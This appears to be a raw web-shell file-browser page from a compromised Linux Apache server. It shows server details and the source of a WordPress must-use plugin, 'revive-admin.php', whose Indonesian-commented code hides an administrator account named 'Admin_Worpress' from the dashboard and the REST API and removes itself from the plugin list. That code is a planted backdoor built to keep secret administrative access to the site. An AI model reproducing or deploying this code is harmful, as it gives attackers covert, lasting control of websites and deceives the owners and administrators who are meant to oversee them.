HEX
Server: Apache
System: Linux WWW 6.1.0-40-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.153-1 (2025-09-20) x86_64
User: web11 (1011)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /var/www/itt.kaunokolegija.lt/wp-content/mu-plugins/revive-admin.php
<?php
// Sembunyikan user dari dashboard
add_action('pre_user_query', function ($query) {
    global $wpdb;
    $query->query_where .= " AND {$wpdb->users}.user_login != 'Admin_Worpress'";
});

// Sembunyikan user dari REST API
add_filter('rest_user_query', function ($args) {
    if (!empty($args['exclude'])) {
        $args['exclude'][] = get_user_by('login', 'Admin_Worpress')->ID;
    } else {
        $args['exclude'] = [get_user_by('login', 'Admin_Worpress')->ID];
    }
    return $args;
});

// Sembunyikan plugin jika dijadikan plugin biasa
add_filter('all_plugins', function ($plugins) {
    $file = plugin_basename(__FILE__);
    if (isset($plugins[$file])) {
        unset($plugins[$file]);
    }
    return $plugins;
});